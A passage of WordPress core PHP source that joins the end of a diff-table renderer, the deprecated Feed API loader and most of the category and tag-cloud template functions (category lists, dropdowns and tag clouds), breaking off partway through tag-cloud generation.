			$th_or_td_left  = empty( $args['title_left'] ) ? 'td' : 'th';
			$th_or_td_right = empty( $args['title_right'] ) ? 'td' : 'th';

			$r .= "<tr class='diff-sub-title'>\n";
			$r .= "\t<$th_or_td_left>$args[title_left]</$th_or_td_left>\n";
			if ( $is_split_view ) {
				$r .= "\t<$th_or_td_right>$args[title_right]</$th_or_td_right>\n";
			}
			$r .= "</tr>\n";
		}

		if ( $args['title_left'] || $args['title_right'] ) {
			$r .= "</thead>\n";
		}

		$r .= "<tbody>\n$diff\n</tbody>\n";
		$r .= '</table>';

		return $r;
	}
endif;
<?php
/**
 * Feed API
 *
 * @package WordPress
 * @subpackage Feed
 * @deprecated 4.7.0
 */

_deprecated_file( basename( __FILE__ ), '4.7.0', 'fetch_feed()' );

if ( ! class_exists( 'SimplePie', false ) ) {
	require_once ABSPATH . WPINC . '/class-simplepie.php';
}

require_once ABSPATH . WPINC . '/class-wp-feed-cache.php';
require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php';
require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php';
require_once ABSPATH . WPINC . '/class-wp-simplepie-sanitize-kses.php';
<?php
/**
 * Taxonomy API: Core category-specific template tags
 *
 * @package WordPress
 * @subpackage Template
 * @since 1.2.0
 */

/**
 * Retrieves category link URL.
 *
 * @since 1.0.0
 *
 * @see get_term_link()
 *
 * @param int|object $category Category ID or object.
 * @return string Link on success, empty string if category does not exist.
 */
function get_category_link( $category ) {
	if ( ! is_object( $category ) ) {
		$category = (int) $category;
	}

	$category = get_term_link( $category );

	if ( is_wp_error( $category ) ) {
		return '';
	}

	return $category;
}

/**
 * Retrieves category parents with separator.
 *
 * @since 1.2.0
 * @since 4.8.0 The `$visited` parameter was deprecated and renamed to `$deprecated`.
 *
 * @param int    $category_id Category ID.
 * @param bool   $link        Optional. Whether to format with link. Default false.
 * @param string $separator   Optional. How to separate categories. Default '/'.
 * @param bool   $nicename    Optional. Whether to use nice name for display. Default false.
 * @param array  $deprecated  Not used.
 * @return string|WP_Error A list of category parents on success, WP_Error on failure.
 */
function get_category_parents( $category_id, $link = false, $separator = '/', $nicename = false, $deprecated = array() ) {

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '4.8.0' );
	}

	$format = $nicename ? 'slug' : 'name';

	$args = array(
		'separator' => $separator,
		'link'      => $link,
		'format'    => $format,
	);

	return get_term_parents_list( $category_id, 'category', $args );
}

/**
 * Retrieves post categories.
 *
 * This tag may be used outside The Loop by passing a post ID as the parameter.
 *
 * Note: This function only returns results from the default "category" taxonomy.
 * For custom taxonomies use get_the_terms().
 *
 * @since 0.71
 *
 * @param int $post_id Optional. The post ID. Defaults to current post ID.
 * @return WP_Term[] Array of WP_Term objects, one for each category assigned to the post.
 */
function get_the_category( $post_id = false ) {
	$categories = get_the_terms( $post_id, 'category' );
	if ( ! $categories || is_wp_error( $categories ) ) {
		$categories = array();
	}

	$categories = array_values( $categories );

	foreach ( array_keys( $categories ) as $key ) {
		_make_cat_compat( $categories[ $key ] );
	}

	/**
	 * Filters the array of categories to return for a post.
	 *
	 * @since 3.1.0
	 * @since 4.4.0 Added the `$post_id` parameter.
	 *
	 * @param WP_Term[] $categories An array of categories to return for the post.
	 * @param int|false $post_id    The post ID.
	 */
	return apply_filters( 'get_the_categories', $categories, $post_id );
}

/**
 * Retrieves category name based on category ID.
 *
 * @since 0.71
 *
 * @param int $cat_id Category ID.
 * @return string|WP_Error Category name on success, WP_Error on failure.
 */
function get_the_category_by_ID( $cat_id ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$cat_id   = (int) $cat_id;
	$category = get_term( $cat_id );

	if ( is_wp_error( $category ) ) {
		return $category;
	}

	return ( $category ) ? $category->name : '';
}

/**
 * Retrieves category list for a post in either HTML list or custom format.
 *
 * Generally used for quick, delimited (e.g. comma-separated) lists of categories,
 * as part of a post entry meta.
 *
 * For a more powerful, list-based function, see wp_list_categories().
 *
 * @since 1.5.1
 *
 * @see wp_list_categories()
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $separator Optional. Separator between the categories. By default, the links are placed
 *                          in an unordered list. An empty string will result in the default behavior.
 * @param string $parents   Optional. How to display the parents. Accepts 'multiple', 'single', or empty.
 *                          Default empty string.
 * @param int    $post_id   Optional. ID of the post to retrieve categories for. Defaults to the current post.
 * @return string Category list for a post.
 */
function get_the_category_list( $separator = '', $parents = '', $post_id = false ) {
	global $wp_rewrite;

	if ( ! is_object_in_taxonomy( get_post_type( $post_id ), 'category' ) ) {
		/** This filter is documented in wp-includes/category-template.php */
		return apply_filters( 'the_category', '', $separator, $parents );
	}

	/**
	 * Filters the categories before building the category list.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_Term[] $categories An array of the post's categories.
	 * @param int|false $post_id    ID of the post to retrieve categories for.
	 *                              When `false`, defaults to the current post in the loop.
	 */
	$categories = apply_filters( 'the_category_list', get_the_category( $post_id ), $post_id );

	if ( empty( $categories ) ) {
		/** This filter is documented in wp-includes/category-template.php */
		return apply_filters( 'the_category', __( 'Uncategorized' ), $separator, $parents );
	}

	$rel = ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) ? 'rel="category tag"' : 'rel="category"';

	$thelist = '';
	if ( '' === $separator ) {
		$thelist .= '<ul class="post-categories">';
		foreach ( $categories as $category ) {
			$thelist .= "\n\t<li>";
			switch ( strtolower( $parents ) ) {
				case 'multiple':
					if ( $category->parent ) {
						$thelist .= get_category_parents( $category->parent, true, $separator );
					}
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name . '</a></li>';
					break;
				case 'single':
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '"  ' . $rel . '>';
					if ( $category->parent ) {
						$thelist .= get_category_parents( $category->parent, false, $separator );
					}
					$thelist .= $category->name . '</a></li>';
					break;
				case '':
				default:
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name . '</a></li>';
			}
		}
		$thelist .= '</ul>';
	} else {
		$i = 0;
		foreach ( $categories as $category ) {
			if ( 0 < $i ) {
				$thelist .= $separator;
			}
			switch ( strtolower( $parents ) ) {
				case 'multiple':
					if ( $category->parent ) {
						$thelist .= get_category_parents( $category->parent, true, $separator );
					}
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name . '</a>';
					break;
				case 'single':
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>';
					if ( $category->parent ) {
						$thelist .= get_category_parents( $category->parent, false, $separator );
					}
					$thelist .= "$category->name</a>";
					break;
				case '':
				default:
					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name . '</a>';
			}
			++$i;
		}
	}

	/**
	 * Filters the category or list of categories.
	 *
	 * @since 1.2.0
	 *
	 * @param string $thelist   List of categories for the current post.
	 * @param string $separator Separator used between the categories.
	 * @param string $parents   How to display the category parents. Accepts 'multiple',
	 *                          'single', or empty.
	 */
	return apply_filters( 'the_category', $thelist, $separator, $parents );
}

/**
 * Checks if the current post is within any of the given categories.
 *
 * The given categories are checked against the post's categories' term_ids, names and slugs.
 * Categories given as integers will only be checked against the post's categories' term_ids.
 *
 * Prior to v2.5 of WordPress, category names were not supported.
 * Prior to v2.7, category slugs were not supported.
 * Prior to v2.7, only one category could be compared: in_category( $single_category ).
 * Prior to v2.7, this function could only be used in the WordPress Loop.
 * As of 2.7, the function can be used anywhere if it is provided a post ID or post object.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.2.0
 * @since 2.7.0 The `$post` parameter was added.
 *
 * @param int|string|int[]|string[] $category Category ID, name, slug, or array of such
 *                                            to check against.
 * @param int|WP_Post               $post     Optional. Post to check. Defaults to the current post.
 * @return bool True if the current post is in any of the given categories.
 */
function in_category( $category, $post = null ) {
	if ( empty( $category ) ) {
		return false;
	}

	return has_category( $category, $post );
}

/**
 * Displays category list for a post in either HTML list or custom format.
 *
 * @since 0.71
 *
 * @param string $separator Optional. Separator between the categories. By default, the links are placed
 *                          in an unordered list. An empty string will result in the default behavior.
 * @param string $parents   Optional. How to display the parents. Accepts 'multiple', 'single', or empty.
 *                          Default empty string.
 * @param int    $post_id   Optional. ID of the post to retrieve categories for. Defaults to the current post.
 */
function the_category( $separator = '', $parents = '', $post_id = false ) {
	echo get_the_category_list( $separator, $parents, $post_id );
}

/**
 * Retrieves category description.
 *
 * @since 1.0.0
 *
 * @param int $category Optional. Category ID. Defaults to the current category ID.
 * @return string Category description, if available.
 */
function category_description( $category = 0 ) {
	return term_description( $category );
}

/**
 * Displays or retrieves the HTML dropdown list of categories.
 *
 * The 'hierarchical' argument, which is disabled by default, will override the
 * depth argument, unless it is true. When the argument is false, it will
 * display all of the categories. When it is enabled it will use the value in
 * the 'depth' argument.
 *
 * @since 2.1.0
 * @since 4.2.0 Introduced the `value_field` argument.
 * @since 4.6.0 Introduced the `required` argument.
 * @since 6.1.0 Introduced the `aria_describedby` argument.
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments to generate a categories drop-down element. See WP_Term_Query::__construct()
 *     for information on additional accepted arguments.
 *
 *     @type string       $show_option_all   Text to display for showing all categories. Default empty.
 *     @type string       $show_option_none  Text to display for showing no categories. Default empty.
 *     @type string       $option_none_value Value to use when no category is selected. Default empty.
 *     @type string       $orderby           Which column to use for ordering categories. See get_terms() for a list
 *                                           of accepted values. Default 'id' (term_id).
 *     @type bool         $pad_counts        See get_terms() for an argument description. Default false.
 *     @type bool|int     $show_count        Whether to include post counts. Accepts 0, 1, or their bool equivalents.
 *                                           Default 0.
 *     @type bool|int     $echo              Whether to echo or return the generated markup. Accepts 0, 1, or their
 *                                           bool equivalents. Default 1.
 *     @type bool|int     $hierarchical      Whether to traverse the taxonomy hierarchy. Accepts 0, 1, or their bool
 *                                           equivalents. Default 0.
 *     @type int          $depth             Maximum depth. Default 0.
 *     @type int          $tab_index         Tab index for the select element. Default 0 (no tabindex).
 *     @type string       $name              Value for the 'name' attribute of the select element. Default 'cat'.
 *     @type string       $id                Value for the 'id' attribute of the select element. Defaults to the value
 *                                           of `$name`.
 *     @type string       $class             Value for the 'class' attribute of the select element. Default 'postform'.
 *     @type int|string   $selected          Value of the option that should be selected. Default 0.
 *     @type string       $value_field       Term field that should be used to populate the 'value' attribute
 *                                           of the option elements. Accepts any valid term field: 'term_id', 'name',
 *                                           'slug', 'term_group', 'term_taxonomy_id', 'taxonomy', 'description',
 *                                           'parent', 'count'. Default 'term_id'.
 *     @type string|array $taxonomy          Name of the taxonomy or taxonomies to retrieve. Default 'category'.
 *     @type bool         $hide_if_empty     True to skip generating markup if no categories are found.
 *                                           Default false (create select element even if no categories are found).
 *     @type bool         $required          Whether the `<select>` element should have the HTML5 'required' attribute.
 *                                           Default false.
 *     @type Walker       $walker            Walker object to use to build the output. Default empty which results in a
 *                                           Walker_CategoryDropdown instance being used.
 *     @type string       $aria_describedby  The 'id' of an element that contains descriptive text for the select.
 *                                           Default empty string.
 * }
 * @return string HTML dropdown list of categories.
 */
function wp_dropdown_categories( $args = '' ) {
	$defaults = array(
		'show_option_all'   => '',
		'show_option_none'  => '',
		'orderby'           => 'id',
		'order'             => 'ASC',
		'show_count'        => 0,
		'hide_empty'        => 1,
		'child_of'          => 0,
		'exclude'           => '',
		'echo'              => 1,
		'selected'          => 0,
		'hierarchical'      => 0,
		'name'              => 'cat',
		'id'                => '',
		'class'             => 'postform',
		'depth'             => 0,
		'tab_index'         => 0,
		'taxonomy'          => 'category',
		'hide_if_empty'     => false,
		'option_none_value' => -1,
		'value_field'       => 'term_id',
		'required'          => false,
		'aria_describedby'  => '',
	);

	$defaults['selected'] = ( is_category() ) ? get_query_var( 'cat' ) : 0;

	// Back compat.
	if ( isset( $args['type'] ) && 'link' === $args['type'] ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: 1: "type => link", 2: "taxonomy => link_category" */
				__( '%1$s is deprecated. Use %2$s instead.' ),
				'<code>type => link</code>',
				'<code>taxonomy => link_category</code>'
			)
		);
		$args['taxonomy'] = 'link_category';
	}

	// Parse incoming $args into an array and merge it with $defaults.
	$parsed_args = wp_parse_args( $args, $defaults );

	$option_none_value = $parsed_args['option_none_value'];

	if ( ! isset( $parsed_args['pad_counts'] ) && $parsed_args['show_count'] && $parsed_args['hierarchical'] ) {
		$parsed_args['pad_counts'] = true;
	}

	$tab_index = $parsed_args['tab_index'];

	$tab_index_attribute = '';
	if ( (int) $tab_index > 0 ) {
		$tab_index_attribute = " tabindex=\"$tab_index\"";
	}

	// Avoid clashes with the 'name' param of get_terms().
	$get_terms_args = $parsed_args;
	unset( $get_terms_args['name'] );
	$categories = get_terms( $get_terms_args );

	$name     = esc_attr( $parsed_args['name'] );
	$class    = esc_attr( $parsed_args['class'] );
	$id       = $parsed_args['id'] ? esc_attr( $parsed_args['id'] ) : $name;
	$required = $parsed_args['required'] ? 'required' : '';

	$aria_describedby_attribute = $parsed_args['aria_describedby'] ? ' aria-describedby="' . esc_attr( $parsed_args['aria_describedby'] ) . '"' : '';

	if ( ! $parsed_args['hide_if_empty'] || ! empty( $categories ) ) {
		$output = "<select $required name='$name' id='$id' class='$class'$tab_index_attribute$aria_describedby_attribute>\n";
	} else {
		$output = '';
	}
	if ( empty( $categories ) && ! $parsed_args['hide_if_empty'] && ! empty( $parsed_args['show_option_none'] ) ) {

		/**
		 * Filters a taxonomy drop-down display element.
		 *
		 * A variety of taxonomy drop-down display elements can be modified
		 * just prior to display via this filter. Filterable arguments include
		 * 'show_option_none', 'show_option_all', and various forms of the
		 * term name.
		 *
		 * @since 1.2.0
		 *
		 * @see wp_dropdown_categories()
		 *
		 * @param string       $element  Category name.
		 * @param WP_Term|null $category The category object, or null if there's no corresponding category.
		 */
		$show_option_none = apply_filters( 'list_cats', $parsed_args['show_option_none'], null );
		$output          .= "\t<option value='" . esc_attr( $option_none_value ) . "' selected='selected'>$show_option_none</option>\n";
	}

	if ( ! empty( $categories ) ) {

		if ( $parsed_args['show_option_all'] ) {

			/** This filter is documented in wp-includes/category-template.php */
			$show_option_all = apply_filters( 'list_cats', $parsed_args['show_option_all'], null );
			$selected        = ( '0' === (string) $parsed_args['selected'] ) ? " selected='selected'" : '';
			$output         .= "\t<option value='0'$selected>$show_option_all</option>\n";
		}

		if ( $parsed_args['show_option_none'] ) {

			/** This filter is documented in wp-includes/category-template.php */
			$show_option_none = apply_filters( 'list_cats', $parsed_args['show_option_none'], null );
			$selected         = selected( $option_none_value, $parsed_args['selected'], false );
			$output          .= "\t<option value='" . esc_attr( $option_none_value ) . "'$selected>$show_option_none</option>\n";
		}

		if ( $parsed_args['hierarchical'] ) {
			$depth = $parsed_args['depth'];  // Walk the full depth.
		} else {
			$depth = -1; // Flat.
		}
		$output .= walk_category_dropdown_tree( $categories, $depth, $parsed_args );
	}

	if ( ! $parsed_args['hide_if_empty'] || ! empty( $categories ) ) {
		$output .= "</select>\n";
	}

	/**
	 * Filters the taxonomy drop-down output.
	 *
	 * @since 2.1.0
	 *
	 * @param string $output      HTML output.
	 * @param array  $parsed_args Arguments used to build the drop-down.
	 */
	$output = apply_filters( 'wp_dropdown_cats', $output, $parsed_args );

	if ( $parsed_args['echo'] ) {
		echo $output;
	}

	return $output;
}

/**
 * Displays or retrieves the HTML list of categories.
 *
 * @since 2.1.0
 * @since 4.4.0 Introduced the `hide_title_if_empty` and `separator` arguments.
 * @since 4.4.0 The `current_category` argument was modified to optionally accept an array of values.
 * @since 6.1.0 Default value of the 'use_desc_for_title' argument was changed from 1 to 0.
 *
 * @param array|string $args {
 *     Array of optional arguments. See get_categories(), get_terms(), and WP_Term_Query::__construct()
 *     for information on additional accepted arguments.
 *
 *     @type int|int[]    $current_category      ID of category, or array of IDs of categories, that should get the
 *                                               'current-cat' class. Default 0.
 *     @type int          $depth                 Category depth. Used for tab indentation. Default 0.
 *     @type bool|int     $echo                  Whether to echo or return the generated markup. Accepts 0, 1, or their
 *                                               bool equivalents. Default 1.
 *     @type int[]|string $exclude               Array or comma/space-separated string of term IDs to exclude.
 *                                               If `$hierarchical` is true, descendants of `$exclude` terms will also
 *                                               be excluded; see `$exclude_tree`. See get_terms().
 *                                               Default empty string.
 *     @type int[]|string $exclude_tree          Array or comma/space-separated string of term IDs to exclude, along
 *                                               with their descendants. See get_terms(). Default empty string.
 *     @type string       $feed                  Text to use for the feed link. Default 'Feed for all posts filed
 *                                               under [cat name]'.
 *     @type string       $feed_image            URL of an image to use for the feed link. Default empty string.
 *     @type string       $feed_type             Feed type. Used to build feed link. See get_term_feed_link().
 *                                               Default empty string (default feed).
 *     @type bool         $hide_title_if_empty   Whether to hide the `$title_li` element if there are no terms in
 *                                               the list. Default false (title will always be shown).
 *     @type string       $separator             Separator between links. Default '<br />'.
 *     @type bool|int     $show_count            Whether to include post counts. Accepts 0, 1, or their bool equivalents.
 *                                               Default 0.
 *     @type string       $show_option_all       Text to display for showing all categories. Default empty string.
 *     @type string       $show_option_none      Text to display for the 'no categories' option.
 *                                               Default 'No categories'.
 *     @type string       $style                 The style used to display the categories list. If 'list', categories
 *                                               will be output as an unordered list. If left empty or another value,
 *                                               categories will be output separated by `<br>` tags. Default 'list'.
 *     @type string       $taxonomy              Name of the taxonomy to retrieve. Default 'category'.
 *     @type string       $title_li              Text to use for the list title `<li>` element. Pass an empty string
 *                                               to disable. Default 'Categories'.
 *     @type bool|int     $use_desc_for_title    Whether to use the category description as the title attribute.
 *                                               Accepts 0, 1, or their bool equivalents. Default 0.
 *     @type Walker       $walker                Walker object to use to build the output. Default empty which results
 *                                               in a Walker_Category instance being used.
 * }
 * @return void|string|false Void if 'echo' argument is true, HTML list of categories if 'echo' is false.
 *                           False if the taxonomy does not exist.
 */
function wp_list_categories( $args = '' ) {
	$defaults = array(
		'child_of'            => 0,
		'current_category'    => 0,
		'depth'               => 0,
		'echo'                => 1,
		'exclude'             => '',
		'exclude_tree'        => '',
		'feed'                => '',
		'feed_image'          => '',
		'feed_type'           => '',
		'hide_empty'          => 1,
		'hide_title_if_empty' => false,
		'hierarchical'        => true,
		'order'               => 'ASC',
		'orderby'             => 'name',
		'separator'           => '<br />',
		'show_count'          => 0,
		'show_option_all'     => '',
		'show_option_none'    => __( 'No categories' ),
		'style'               => 'list',
		'taxonomy'            => 'category',
		'title_li'            => __( 'Categories' ),
		'use_desc_for_title'  => 0,
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	if ( ! isset( $parsed_args['pad_counts'] ) && $parsed_args['show_count'] && $parsed_args['hierarchical'] ) {
		$parsed_args['pad_counts'] = true;
	}

	// Descendants of exclusions should be excluded too.
	if ( $parsed_args['hierarchical'] ) {
		$exclude_tree = array();

		if ( $parsed_args['exclude_tree'] ) {
			$exclude_tree = array_merge( $exclude_tree, wp_parse_id_list( $parsed_args['exclude_tree'] ) );
		}

		if ( $parsed_args['exclude'] ) {
			$exclude_tree = array_merge( $exclude_tree, wp_parse_id_list( $parsed_args['exclude'] ) );
		}

		$parsed_args['exclude_tree'] = $exclude_tree;
		$parsed_args['exclude']      = '';
	}

	if ( ! isset( $parsed_args['class'] ) ) {
		$parsed_args['class'] = ( 'category' === $parsed_args['taxonomy'] ) ? 'categories' : $parsed_args['taxonomy'];
	}

	if ( ! taxonomy_exists( $parsed_args['taxonomy'] ) ) {
		return false;
	}

	$show_option_all  = $parsed_args['show_option_all'];
	$show_option_none = $parsed_args['show_option_none'];

	$categories = get_categories( $parsed_args );

	$output = '';

	if ( $parsed_args['title_li'] && 'list' === $parsed_args['style']
		&& ( ! empty( $categories ) || ! $parsed_args['hide_title_if_empty'] )
	) {
		$output = '<li class="' . esc_attr( $parsed_args['class'] ) . '">' . $parsed_args['title_li'] . '<ul>';
	}

	if ( empty( $categories ) ) {
		if ( ! empty( $show_option_none ) ) {
			if ( 'list' === $parsed_args['style'] ) {
				$output .= '<li class="cat-item-none">' . $show_option_none . '</li>';
			} else {
				$output .= $show_option_none;
			}
		}
	} else {
		if ( ! empty( $show_option_all ) ) {

			$posts_page = '';

			// For taxonomies that belong only to custom post types, point to a valid archive.
			$taxonomy_object = get_taxonomy( $parsed_args['taxonomy'] );
			if ( ! in_array( 'post', $taxonomy_object->object_type, true ) && ! in_array( 'page', $taxonomy_object->object_type, true ) ) {
				foreach ( $taxonomy_object->object_type as $object_type ) {
					$_object_type = get_post_type_object( $object_type );

					// Grab the first one.
					if ( ! empty( $_object_type->has_archive ) ) {
						$posts_page = get_post_type_archive_link( $object_type );
						break;
					}
				}
			}

			// Fallback for the 'All' link is the posts page.
			if ( ! $posts_page ) {
				if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) ) {
					$posts_page = get_permalink( get_option( 'page_for_posts' ) );
				} else {
					$posts_page = home_url( '/' );
				}
			}

			$posts_page = esc_url( $posts_page );
			if ( 'list' === $parsed_args['style'] ) {
				$output .= "<li class='cat-item-all'><a href='$posts_page'>$show_option_all</a></li>";
			} else {
				$output .= "<a href='$posts_page'>$show_option_all</a>";
			}
		}

		if ( empty( $parsed_args['current_category'] ) && ( is_category() || is_tax() || is_tag() ) ) {
			$current_term_object = get_queried_object();
			if ( $current_term_object && $parsed_args['taxonomy'] === $current_term_object->taxonomy ) {
				$parsed_args['current_category'] = get_queried_object_id();
			}
		}

		if ( $parsed_args['hierarchical'] ) {
			$depth = $parsed_args['depth'];
		} else {
			$depth = -1; // Flat.
		}
		$output .= walk_category_tree( $categories, $depth, $parsed_args );
	}

	if ( $parsed_args['title_li'] && 'list' === $parsed_args['style']
		&& ( ! empty( $categories ) || ! $parsed_args['hide_title_if_empty'] )
	) {
		$output .= '</ul></li>';
	}

	/**
	 * Filters the HTML output of a taxonomy list.
	 *
	 * @since 2.1.0
	 *
	 * @param string       $output HTML output.
	 * @param array|string $args   An array or query string of taxonomy-listing arguments. See
	 *                             wp_list_categories() for information on accepted arguments.
	 */
	$html = apply_filters( 'wp_list_categories', $output, $args );

	if ( $parsed_args['echo'] ) {
		echo $html;
	} else {
		return $html;
	}
}

/**
 * Displays a tag cloud.
 *
 * Outputs a list of tags in what is called a 'tag cloud', where the size of each tag
 * is determined by how many times that particular tag has been assigned to posts.
 *
 * @since 2.3.0
 * @since 2.8.0 Added the `taxonomy` argument.
 * @since 4.8.0 Added the `show_count` argument.
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments for displaying a tag cloud. See wp_generate_tag_cloud()
 *     and get_terms() for the full lists of arguments that can be passed in `$args`.
 *
 *     @type int    $number    The number of tags to display. Accepts any positive integer
 *                             or zero to return all. Default 45.
 *     @type string $link      Whether to display term editing links or term permalinks.
 *                             Accepts 'edit' and 'view'. Default 'view'.
 *     @type string $post_type The post type. Used to highlight the proper post type menu
 *                             on the linked edit page. Defaults to the first post type
 *                             associated with the taxonomy.
 *     @type bool   $echo      Whether or not to echo the return value. Default true.
 * }
 * @return void|string|string[] Void if 'echo' argument is true, or on failure. Otherwise, tag cloud
 *                              as a string or an array, depending on 'format' argument.
 */
function wp_tag_cloud( $args = '' ) {
	$defaults = array(
		'smallest'   => 8,
		'largest'    => 22,
		'unit'       => 'pt',
		'number'     => 45,
		'format'     => 'flat',
		'separator'  => "\n",
		'orderby'    => 'name',
		'order'      => 'ASC',
		'exclude'    => '',
		'include'    => '',
		'link'       => 'view',
		'taxonomy'   => 'post_tag',
		'post_type'  => '',
		'echo'       => true,
		'show_count' => 0,
	);

	$args = wp_parse_args( $args, $defaults );

	$tags = get_terms(
		array_merge(
			$args,
			array(
				'orderby' => 'count',
				'order'   => 'DESC',
			)
		)
	); // Always query top tags.

	if ( empty( $tags ) || is_wp_error( $tags ) ) {
		return;
	}

	foreach ( $tags as $key => $tag ) {
		if ( 'edit' === $args['link'] ) {
			$link = get_edit_term_link( $tag, $tag->taxonomy, $args['post_type'] );
		} else {
			$link = get_term_link( $tag, $tag->taxonomy );
		}

		if ( is_wp_error( $link ) ) {
			return;
		}

		$tags[ $key ]->link = $link;
		$tags[ $key ]->id   = $tag->term_id;
	}

	// Here's where those top tags get sorted according to $args.
	$return = wp_generate_tag_cloud( $tags, $args );

	/**
	 * Filters the tag cloud output.
	 *
	 * @since 2.3.0
	 *
	 * @param string|string[] $return Tag cloud as a string or an array, depending on 'format' argument.
	 * @param array           $args   An array of tag cloud arguments. See wp_tag_cloud()
	 *                                for information on accepted arguments.
	 */
	$return = apply_filters( 'wp_tag_cloud', $return, $args );

	if ( 'array' === $args['format'] || empty( $args['echo'] ) ) {
		return $return;
	}

	echo $return;
}

/**
 * Default topic count scaling for tag links.
 *
 * @since 2.9.0
 *
 * @param int $count Number of posts with that tag.
 * @return int Scaled count.
 */
function default_topic_count_scale( $count ) {
	return round( log10( $count + 1 ) * 100 );
}

/**
 * Generates a tag cloud (heatmap) from provided data.
 *
 * @todo Complete functionality.
 * @since 2.3.0
 * @since 4.8.0 Added the `show_count` argument.
 *
 * @param WP_Term[]    $tags Array of WP_Term objects to generate the tag cloud for.
 * @param string|array $args {
 *     Optional. Array or string of arguments for generating a tag cloud.
 *
 *     @type int      $smallest                   Smallest font size used to display tags. Paired
 *                                                with the value of `$unit`, to determine CSS text
 *                                                size unit. Default 8 (pt).
 *     @type int      $largest                    Largest font size used to display tags. Paired
 *                                                with the value of `$unit`, to determine CSS text
 *                                                size unit. Default 22 (pt).
 *     @type string   $unit                       CSS text size unit to use with the `$smallest`
 *                                                and `$largest` values. Accepts any valid CSS text
 *                                                size unit. Default 'pt'.
 *     @type int      $number                     The number of tags to return. Accepts any
 *                                                positive integer or zero to return all.
 *                                                Default 0.
 *     @type string   $format                     Format to display the tag cloud in. Accepts 'flat'
 *                                                (tags separated with spaces), 'list' (tags displayed
 *                                                in an unordered list), or 'array' (returns an array).
 *                                                Default 'flat'.
 *     @type string   $separator                  HTML or text to separate the tags. Default "\n" (newline).
 *     @type string   $orderby                    Value to order tags by. Accepts 'name' or 'count'.
 *                                                Default 'name'. The {@see 'tag_cloud_sort'} filter
 *                                                can also affect how tags are sorted.
 *     @type string   $order                      How to order the tags. Accepts 'ASC' (ascending),
 *                                                'DESC' (descending), or 'RAND' (random). Default 'ASC'.
 *     @type int|bool $filter                     Whether to enable filtering of the final output
 *                                                via {@see 'wp_generate_tag_cloud'}. Default 1.
 *     @type array    $topic_count_text           Nooped plural text from _n_noop() to supply to
 *                                                tag counts. Default null.
 *     @type callable $topic_count_text_callback  Callback used to generate nooped plural text for
 *                                                tag counts based on the count. Default null.
 *     @type callable $topic_count_scale_callback Callback used to determine the tag count scaling
 *                                                value. Default default_topic_count_scale().
 *     @type bool|int $show_count                 Whether to display the tag counts. Default 0. Accepts
 *                                                0, 1, or their bool equivalents.
 * }
 * @return string|string[] Tag cloud as a string or an array, depending on 'format' argument.
 */
function wp_generate_tag_cloud( $tags, $args = '' ) {
	$defaults = array(
		'smallest'                   => 8,
		'largest'                    => 22,
		'unit'                       => 'pt',
		'number'                     => 0,
		'format'                     => 'flat',
		'separator'                  => "\n",
		'orderby'                    => 'name',
		'order'                      => 'ASC',
		'topic_count_text'           => null,
		'topic_count_text_callback'  => null,
		'topic_count_scale_callback' => 'default_topic_count_scale',
		'filter'                     => 1,
		'show_count'                 => 0,
	);

	$args = wp_parse_args( $args, $defaults );

	$return = ( 'array' === $args['format'] ) ? array() : '';

	if ( empty( $tags ) ) {
		return $return;
	}

	// Juggle topic counts.
	if ( isset( $args['topic_count_text'] ) ) {
		// First look for nooped plural support via topic_count_text.
		$translate_nooped_plural = $args['topic_count_text'];
	} elseif ( ! empty( $args['topic_count_text_callback'] ) ) {
		// Look for the alternative callback style. Ignore the previous default.
		if ( 'default_topic_count_text' === $args['topic_count_text_callback'] ) {
			/* translators: %s: Number of items (tags). */
			$translate_nooped_plural = _n_noop( '%s item', '%s items' );
		} else {
			$translate_nooped_plural = false;
		}
	} elseif ( isset( $args['single_text'] ) && isset( $args['multiple_text'] ) ) {
		// If no callback exists, look for the old-style single_text and multiple_text arguments.
		// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralSingular,WordPress.WP.I18n.NonSingularStringLiteralPlural
		$translate_nooped_plural = _n_noop( $args['single_text'], $args['multiple_text'] );
	} else {
		// This is the default for when no callback, plural, or argument is passed in.
		/* translators: %s: Number of items (tags). */
		$translate_nooped_plural = _n_noop( '%s item', '%s items' );
	}

	/**
	 * Filters how the items in a tag cloud are sorted.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Term[] $tags Ordered array of terms.
	 * @param array     $args An array of tag cloud arguments.
	 */
	$tags_sorted = apply_filters( 'tag_cloud_sort', $tags, $args );
	if ( empty( $tags_sorted ) ) {
		return $return;
	}

	if ( $tags_sorted !== $tags ) {
		$tags = $tags_sorted;
		unset( $tags_sorted );
	} else {
		if ( 'RAND' === $args['order'] ) {
			shuffle( $tags );
		} else {
			// SQL cannot save you; this is a second (potentially different) sort on a subset of data.
			if ( 'name' === $args['orderby'] ) {
				uasort( $tags, '_wp_object_name_sort_cb' );
			} else {
				uasort( $tags, '_wp_object_count_sort_cb' );
			}

			if ( 'DESC' === $args['order'] ) {
				$tags = array_reverse( $tags, true );
			}
		}
	}

	if ( $args['number'] > 0 ) {
		$tags = array_slice( $tags, 0, $args['number'] );
	}

	$counts      = array();
	$real_counts = array(); // For the alt tag.
	foreach ( (array) $tags as $key => $tag ) {
		$real_counts[ $key ] = $tag->count;
